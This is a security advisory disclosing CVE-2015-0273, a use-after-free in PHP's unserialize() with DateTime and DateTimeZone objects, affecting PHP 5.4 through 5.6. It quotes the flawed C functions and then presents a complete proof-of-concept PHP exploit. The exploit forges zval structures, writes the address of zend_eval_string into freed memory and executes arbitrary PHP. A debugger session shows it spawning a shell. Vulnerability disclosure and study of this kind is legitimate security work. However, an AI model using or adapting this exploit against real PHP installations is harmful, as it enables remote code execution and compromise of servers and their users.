PHP DateTime Use After Free Vulnerability

Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273]
 
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.1.29 - Release Date: 2015.2.20
 
A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone/DateInterval/DatePeriod objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
 
Affected Versions
------------
Affected is PHP 5.6 < 5.6.6
Affected is PHP 5.5 < 5.5.22
Affected is PHP 5.4 < 5.4.38
 
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
 
Description
------------
 
static int php_date_initialize_from_hash(php_date_obj **dateobj,
HashTable *myht)
{
    zval             *z_date;
    zval             *z_timezone;
    zval             *z_timezone_type;
    zval              tmp_obj;
    timelib_tzinfo   *tzi;
    php_timezone_obj *tzobj;
 
    z_date = zend_hash_str_find(myht, "date", sizeof("data")-1);
    if (z_date) {
        convert_to_string(z_date);
        z_timezone_type = zend_hash_str_find(myht, "timezone_type",
sizeof("timezone_type")-1);
        if (z_timezone_type) {
            convert_to_long(z_timezone_type);
            z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1);
            if (z_timezone) {
                convert_to_string(z_timezone);
 
...
 
static int php_date_timezone_initialize_from_hash(zval **return_value,
php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
{
    zval            **z_timezone = NULL;
    zval            **z_timezone_type = NULL;
 
    if (zend_hash_find(myht, "timezone_type", 14, (void**)
&z_timezone_type) == SUCCESS) {
        if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
            convert_to_long(*z_timezone_type);
            if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone)
TSRMLS_CC)) {
                return SUCCESS;
            }
        }
    }
    return FAILURE;
}
 
The convert_to_long() leads to the ZVAL and all its children is freed
from memory. However the unserialize() code will still allow to use R:
or r: to set references to that already freed memory. There is a use
after free vulnerability, and allows to execute arbitrary code.
 
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.
 
<?php
 
$f = $argv[1];
$c = $argv[2];
 
$fakezval1 = ptr2str(0x100b83008);
$fakezval1 .= ptr2str(0x8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00";
 
$data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}';
 
$x = unserialize($data1);
$y = $x[2];
 
// zend_eval_string()'s address
$y[0][0] = "\x6d";
$y[0][1] = "\x1e";
$y[0][2] = "\x35";
$y[0][3] = "\x00";
$y[0][4] = "\x01";
$y[0][5] = "\x00";
$y[0][6] = "\x00";
$y[0][7] = "\x00";
 
$fakezval2 = ptr2str(0x3b296324286624); // $f($c);
$fakezval2 .= ptr2str(0x100b83000);
$fakezval2 .= "\x00\x00\x00\x00";
$fakezval2 .= "\x05";
$fakezval2 .= "\x00";
$fakezval2 .= "\x00\x00";
 
$data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}';
 
$z = unserialize($data2);
 
function ptr2str($ptr)
{
    $out = "";
    for ($i=0; $i<8; $i++) {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}
 
?>
 
Test the PoC on the command line, then any PHP code can be executed:
 
$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"
Process 13472 launched: '/usr/bin/php' (x86_64)
sh: no job control in this shell
sh-3.2$ php -v
PHP 5.5.14 (cli) (built: Sep  9 2014 19:09:25)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
sh-3.2$ exit
exit
Process 13472 exited with status = 0 (0x00000000)
(lldb)

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